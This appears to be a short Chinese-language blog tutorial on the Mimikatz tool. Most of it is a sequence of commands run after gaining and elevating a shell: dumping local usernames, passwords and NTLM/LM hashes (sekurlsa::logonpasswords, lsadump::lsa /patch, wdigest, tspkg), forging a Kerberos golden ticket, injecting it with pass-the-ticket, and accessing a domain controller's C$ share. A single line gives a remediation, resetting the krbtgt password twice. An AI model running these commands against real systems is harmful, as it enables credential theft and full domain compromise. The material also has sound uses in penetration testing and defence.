Mimikatz

下载地址

https://github.com/gentilkiwi/mimikatz/releases

本地凭据破解

使用mimikatz获取和创建Windows凭据的工具和方法-LMLPHP

以管理员身份运行（拿到shell提权后）

mimikatz#privilege::debug "测试是否OK，正确的返回应该是Privilege '20' OK"

mimikatz#sekurlsa::logonpasswords "获取本机用户名、口令、SID、LM-HASH、NTLM-HASH"

mimikatz#lsadump::lsa /patch "查看相关信息"

使用mimikatz获取和创建Windows凭据的工具和方法-LMLPHP

黄金凭据生成

#kerberos::golden /user:Administrator /domain:domain-name /sid:user-sid/krbtgt:ntlmhash-value /ticket:test.kirbi

备注

user-sid(在lsadump::lsa /patch中获取到的数据)；
ntlmhash-value(在lsadump::lsa /patch中获取到的数据)；
krbtgt是域控配置域后自动生成的一个账户；

利用黄金票据

导入票据： mimikatz：

kerberos::ptt test.kirbi

登陆域控：

net use \\xxxxx.TEST.LOCAL

dir \\xxxxx.TEST.LOCA\c$

黄金凭据的修复方案

修改两次krbtgt的账号口令

其他的一些操作

获取进程信息process::list(还可以imports、exports、start、stop、run、resume、suspend等操作)；

获取服务信息service::list（还可以start、stop、remove等操作）；

sekurlsa::wdigest-----获取本地用户信息及密码

sekurlsa::tspkg------获取tspkg用户信息及密码